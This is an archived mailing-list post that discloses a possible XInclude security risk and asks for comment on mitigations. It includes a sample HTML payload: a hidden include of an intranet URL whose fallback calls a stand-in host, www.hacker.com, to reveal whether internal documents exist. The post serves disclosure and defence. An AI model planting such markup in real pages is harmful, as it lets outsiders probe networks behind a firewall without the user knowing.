OASIS Mailing List ArchivesView the OASIS mailing list archive below
or browse/search using MarkMail.


Help: OASIS Mailing Lists Help | MarkMail Help



   XInclude: security risk 1

[ Lists Home | Date Index | Thread Index ]

Consider the following document:

<html xmlns:xi="http://www.w3.org/2001/XInclude";>
      Here's what the user normally sees
<span style="display: none">
    <xi:include parse="text" href="http://www.behindthefirewall.com/someURL";>
       <xi:fallback href="http://www.hacker.com/?someURL=doesNotExist";>     

Once a local user has loaded this into a web browser from behind the 
firewall, the original host site or some other remote site can easily 
determine whether some document exists on some server that would not 
normally be accessible to it. This scheme is not perfectly reliable. 
The biggest problem is that the attacker must have some good guesses 
as to likely local URLs, and also some reason to want to know them; 
but it seems to have the potential to expose information from behind 
the firewall that the user might not wish exposed.

How bad is this? Does this do anything a hacker can't do with IMG 
tags or external entity references now? I do think this is worse than 
those cases because fallbacks let the result of the load be 
communicated back to the original host (or a different one). The 
remote host can determine whether or not the request succeeded based 
on whether or not the fallback is requested.

Combined with JavaScript and DHTML, this attack could become a lot 
more effective. If the browser exposes the post-include DOM to any 
such technology, then this would allow the remote site to gather 
information from normally restricted pages on the Intranet. I'm not 
sure how plausible that is. The comments of some JavaScript experts 
would be helpful. Java normally does not allow applets to load URLs 
other than the applet host for precisely this reason.  However, if 
the data from those URLs could be loaded into the local page by some 
other mechanism, and then Java or JavaScript could get access to 
them, this would punch a huge hole in the firewall.

Partly this depends on browser security models. However, I suspect 
it's at least bad enough that browser vendors and other XInclude 
users should be made aware of the issues, and perhaps not XInclude by 
default; or perhaps it would be enough just not to fallback. Or 
perhaps not make the post-inclusion DOM available through scripting. 
Or limit the URLs included to ones from the same host as the base 
page came from. Thoughts?

| Elliotte Rusty Harold | elharo@metalab.unc.edu | Writer/Programmer |
|          XML in a  Nutshell, 2nd Edition (O'Reilly, 2002)          |
|              http://www.cafeconleche.org/books/xian2/              |
|  http://www.amazon.com/exec/obidos/ISBN%3D0596002920/cafeaulaitA/  |
|  Read Cafe au Lait for Java News:  http://www.cafeaulait.org/      |
|  Read Cafe con Leche for XML News: http://www.cafeconleche.org/    |


News | XML in Industry | Calendar | XML Registry
Marketplace | Resources | MyXML.org | Sponsors | Privacy Statement

Copyright 2001 XML.org. This site is hosted by OASIS